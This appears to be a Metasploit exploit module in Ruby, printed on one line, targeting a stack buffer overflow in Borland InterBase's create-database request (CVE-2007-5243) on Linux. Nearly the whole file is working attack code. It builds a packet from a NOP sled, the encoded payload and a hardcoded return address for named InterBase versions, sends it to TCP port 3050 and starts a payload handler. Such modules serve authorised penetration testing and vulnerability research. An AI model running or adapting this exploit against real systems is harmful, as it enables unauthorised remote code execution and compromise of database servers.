## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Borland InterBase jrd8_create_database() Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Borland InterBase by sending a specially crafted create request. }, 'Author' => [ 'Ramon de C Valle', 'Adriano Lima ', ], 'Arch' => ARCH_X86, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2007-5243' ], [ 'OSVDB', '38606' ], [ 'BID', '25917' ], [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 128, 'BadChars' => "\x00\x2f\x3a\x40\x5c", }, 'Targets' => [ # 0x0804cbe4 pop esi; pop ebp; ret [ 'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253', { 'Ret' => 0x0804cbe4 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 03 2007' )) register_options( [ Opt::RPORT(3050) ], self.class ) end def exploit connect # Create database op_create = 20 length = 544 remainder = length.remainder(4) padding = 0 if remainder > 0 padding = (4 - remainder) end buf = '' # Operation/packet type buf << [op_create].pack('N') # Id buf << [0].pack('N') # Length buf << [length].pack('N') # It will return into this nop block buf << make_nops(length - payload.encoded.length - 4) # Payload buf << payload.encoded # Target buf << [target.ret].pack('V') # Padding buf << "\x00" * padding # Database parameter block # Length buf << [1024 * 32].pack('N') # Random alpha data buf << rand_text_alpha(1024 * 32) sock.put(buf) handler end end